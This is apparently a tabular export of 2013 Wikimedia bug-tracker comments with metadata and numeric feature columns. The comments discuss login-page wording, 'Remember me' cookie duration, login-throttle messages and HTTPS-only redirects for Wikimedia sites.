QUOTE
QUOTE
QUOTE
QUOTE

CCed Luis Villa.  If they don't respond, my feeling is the ""Privacy policy"" link on every page footer is sufficient.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't know the exact behavior, but for example Google (""Stay signed in""), Facebook (""Keep me logged in""), and Twitter (""Remember me"") all have such a checkbox on log in, and none say the time period."
229286,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:

(In reply to comment #3)
> If we show it, it should be based on the actual configuration.  But I'm not
> convinced this is necessary.  It's information on the page that might not
> need
> to be there.

I'm not sure if there are legal reasons we show it, per the privacy policy at <https://wikimediafoundation.org/wiki/Privacy_policy#Cookies>. Perhaps something to confirm with LCA?

 
> If you don't feel comfortable with long-term cookies, you don't have to check
> it.  The exact time period is not strictly necessary to make this call.
> 
> Are there other sites that show the time period for this?

Hmm, do other top sites set expiring cookies for login?",,,1366936403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,3.0,11.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,21.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,4.0,11.0,15.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.410958904109589,0.7123287671232876,"**Thehelpfulonewiki** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure if there are legal reasons we show it, per the privacy policy at <URL Perhaps something to confirm with LCA?

 
QUOTE
QUOTE
QUOTE
QUOTE

Hmm, do other top sites set expiring cookies for login?"
229278,"""Remember me"" on Login interface should state duration","If we show it, it should be based on the actual configuration.  But I'm not convinced this is necessary.  It's information on the page that might not need to be there.

If you don't feel comfortable with long-term cookies, you don't have to check it.  The exact time period is not strictly necessary to make this call.

Are there other sites that show the time period for this?",,,1366935502,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,1.0,6.0,8.0,1.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,1.0,2.0,0.0,8.0,10.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,2.0,0.0,5.0,6.0,8.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.586206896551724,0.6436781609195402,"If we show it, it should be based on the actual configuration.  But I'm not convinced this is necessary.  It's information on the page that might not need to be there.

If you don't feel comfortable with long-term cookies, you don't have to check it.  The exact time period is not strictly necessary to make this call.

Are there other sites that show the time period for this?"
229271,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:

Should be value of $wgCookieExpiration",,,1366935349,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.7857142857142857,"**wmf.amgine3691** wrote:

Should be value of $wgCookieExpiration"
229266,"""Remember me"" on Login interface should state duration",Heh.,,,1366934874,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Heh.
49691,"""Login error"" header is incorrect if you haven't created an account yet","**Author:** `Thehelpfulonewiki`

**Description:**
When I go to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page&useNew=1 and make an error (username is use, non-matching passwords etc), the Header of the red error message is an the text ""Login error"" in bold. This isn't quite correct because the user isn't logging in yet - they're trying to create an account.

Perhaps ""Account creation error"" or words to that effect?

--------------------------
**Version**: 1.22.0
**Severity**: minor",Low,25.0,1366934580,1367031649.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vg2qdo27ztdi3uode2dl,task_description,resolved,True,c2,1,False,False,True,-18,True,0.0,0.0,0.0,0.0,2.0,3.0,0.5,1.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,0.5,0.0,5.5,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,8.5,1.5,1.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,5.5,1.5,1.0,3.0,0.0,1.5,0.0,0.5,2.0,0.0,2.0,0.0,0.0,0.5,3.441400580551524,0.7333091436865021,"**Author:** CODE

**Description:**
When I go to URL and make an error (username is use, non-matching passwords etc), the Header of the red error message is an the text ""Login error"" in bold. This isn't quite correct because the user isn't logging in yet - they're trying to create an account.

Perhaps ""Account creation error"" or words to that effect?

--------------------------
**Version**: 1.22.0
**Severity**: minor"
229049,"""Login error"" header is incorrect if you haven't created an account yet",Related URL: https://gerrit.wikimedia.org/r/60957 (Gerrit Change I47d87858cd0e9dc3c668351283234388294872bb),,,1366941454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vg2qdo27ztdi3uode2dl,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I47d87858cd0e9dc3c668351283234388294872bb)
229045,"""Login error"" header is incorrect if you haven't created an account yet","Indeed, it's more cruft from Userlogin and Create account sharing code. Patch coming.",,,1366941410,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-vg2qdo27ztdi3uode2dl,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,4.294117647058823,0.9411764705882353,"Indeed, it's more cruft from Userlogin and Create account sharing code. Patch coming."
49508,VisualEditor: Always submit Parsoid bugs over https,"Please write your bugs report to http://parsoid.wmflabs.org/_bugs/ only with https to avoid a secure hole.

Please see this as a blocker for the coming roll out. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1366641360,1370629791.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_description,invalid,True,c2,1,False,False,True,-19,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.795918367346939,0.6938775510204082,"Please write your bugs report to URL only with https to avoid a secure hole.

Please see this as a blocker for the coming roll out. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
217569,VisualEditor: Always submit Parsoid bugs over https,"We're scrapping this feedback system, so marking as INVALID.",,,1370629791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.333333333333333,1.0,"We're scrapping this feedback system, so marking as INVALID."
217567,VisualEditor: Always submit Parsoid bugs over https,"Comment from bug 47507 comment 1:

| No data goes over the wire that is personally-identifying, so I would
| disagree that this is a blocker; however, yes, this is good practice and we
| should try to do thi[s] (especially, to avoid unexpected mix-mode for users).",,,1366668178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c2,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,9.0,11.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,5.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,3.0,11.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.453125,0.8125,"Comment from bug 47507 comment 1:

| No data goes over the wire that is personally-identifying, so I would
| disagree that this is a blocker; however, yes, this is good practice and we
| should try to do thi[s] (especially, to avoid unexpected mix-mode for users)."
49276,wikimediafoundation.org should be HTTPS-only,"HTTPS can be enforced via <https://noc.wikimedia.org/conf/remnant.conf>. I had a thought today that wikimediafoundation.org should be HTTPS-only. Subsequent thoughts added doubt. For example, the wiki doesn't really get used for donation forms as much these days, I don't think, so some risk is mitigated.

But... it's still a weird fishbowl wiki that allows strange uploads and raw HTML, so it wouldn't be totally unexpected for it to enforce HTTPS. I think it might be nice to have. Filing this as an enhancement request for consideration.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1366086660,1372375016.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_description,declined,True,c2,1,True,False,True,-20,True,1.0,0.0,1.0,1.0,2.0,5.0,1.5,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.0,2.0,0.0,5.0,6.5,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,3.5,2.5,3.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,4.5,0.0,1.0,0.0,1.0,0.0,10.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,2.0,0.0,1.0,0.0,1.0,0.0,2.5,3.0,9.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.0,6.5,2.5,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,4.04151242728715,0.7880750925436277,"HTTPS can be enforced via <URL I had a thought today that wikimediafoundation.org should be HTTPS-only. Subsequent thoughts added doubt. For example, the wiki doesn't really get used for donation forms as much these days, I don't think, so some risk is mitigated.

But... it's still a weird fishbowl wiki that allows strange uploads and raw HTML, so it wouldn't be totally unexpected for it to enforce HTTPS. I think it might be nice to have. Filing this as an enhancement request for consideration.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
229701,wikimediafoundation.org should be HTTPS-only,"We're waiting on switching to varnish to make the redirects behave properly. When users are forced to login via https (which is soon) this won't be a problem for logged-in users anyway. Also, the current status quo is that anons hit http.

Forcing users to HTTPS will lock out users in any country that blocks HTTPS, so I'd prefer not to do this.",,,1372375004,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,False,,,-9,True,1.0,0.0,0.0,1.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,16.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,4.0,0.0,0.0,0.0,3.7012987012987013,0.7792207792207793,"We're waiting on switching to varnish to make the redirects behave properly. When users are forced to login via https (which is soon) this won't be a problem for logged-in users anyway. Also, the current status quo is that anons hit http.

Forcing users to HTTPS will lock out users in any country that blocks HTTPS, so I'd prefer not to do this."
229689,wikimediafoundation.org should be HTTPS-only,"Change 56062 abandoned by Dzahn:
Always redirect wikimediafoundation.org to https (RT-4830)

Reason:
abandoning in favor of waiting for varnish to handle it, see bug for details

https://gerrit.wikimedia.org/r/56062",,,1372374877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,19.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,4.638888888888889,0.8611111111111112,"Change 56062 abandoned by Dzahn:
Always redirect wikimediafoundation.org to https (RT-4830)

Reason:
abandoning in favor of waiting for varnish to handle it, see bug for details

GERRIT_URL"
229681,wikimediafoundation.org should be HTTPS-only,"(In reply to comment #2)
> please continue discussion on gerrit patch or here. i don't have a strong
> opinion on it, just created the patch to show it would be in redirects.conf
> as opposed to remnants.conf

Thanks for catching that, by the way. I'd gotten private wikis and fishbowl wikis slightly confused.

In addition to changing redirects.conf, I believe $wgServer (or maybe $wgCanonicalSomething) also needs to be adjusted.",,,1370417566,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,3.0,2.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9827586206896552,0.7241379310344828,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Thanks for catching that, by the way. I'd gotten private wikis and fishbowl wikis slightly confused.

In addition to changing redirects.conf, I believe $wgServer (or maybe $wgCanonicalSomething) also needs to be adjusted."
229675,wikimediafoundation.org should be HTTPS-only,This seems like an uncontroversial change.,,,1370294268,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,1.0,This seems like an uncontroversial change.
229670,wikimediafoundation.org should be HTTPS-only,"please continue discussion on gerrit patch or here. i don't have a strong opinion on it, just created the patch to show it would be in redirects.conf as opposed to remnants.conf",,,1370288783,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-13,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,18.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.323529411764706,0.8823529411764706,"please continue discussion on gerrit patch or here. i don't have a strong opinion on it, just created the patch to show it would be in redirects.conf as opposed to remnants.conf"
229666,wikimediafoundation.org should be HTTPS-only,https://gerrit.wikimedia.org/r/#/c/56062/,,,1366242582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
48965,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","**Author:** `testingwithfire`

**Description:**
I'm testing the new login process with ""useAgora"" in the query string.

If you have too many failed attempts to log in, you'll get this message: ""You have made too many recent login attempts. Please wait before trying again.""

How long should I wait? The message should specify the time to wait.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=29191",Low,25.0,1365273180,1376813951.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_description,resolved,True,c2,1,False,False,True,-21,True,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,4.5,4.5,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.5,1.5,0.0,3.5,0.0,0.0,0.0,0.0,5.5,1.0,1.0,0.0,3.0,4.5,1.5,1.0,2.5,0.0,3.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,3.416666666666667,0.6574074074074074,"**Author:** CODE

**Description:**
I'm testing the new login process with ""useAgora"" in the query string.

If you have too many failed attempts to log in, you'll get this message: ""You have made too many recent login attempts. Please wait before trying again.""

How long should I wait? The message should specify the time to wait.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
URL"
210740,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait",Approved by Nikerabbit.,,,1376813951,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Approved by Nikerabbit.
210735,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","Change 78649 merged by jenkins-bot:
In login-throttled, specify how long you have to wait before logging in

https://gerrit.wikimedia.org/r/78649",,,1376813188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,19.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9615384615384616,"Change 78649 merged by jenkins-bot:
In login-throttled, specify how long you have to wait before logging in

GERRIT_URL"
210730,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","Change 78649 had a related patch set uploaded by Nemo bis:
In login-throttled, specify how long you have to wait before logging in

https://gerrit.wikimedia.org/r/78649",,,1376215160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,17.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.033333333333333,1.0,"Change 78649 had a related patch set uploaded by Nemo bis:
In login-throttled, specify how long you have to wait before logging in

GERRIT_URL"
48827,samarium.wikimedia.org should support HTTPS,"I keep getting redirected to https://samarium.wikimedia.org/ by HTTPS Everywhere in Chrome. It'd be nice if this worked.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
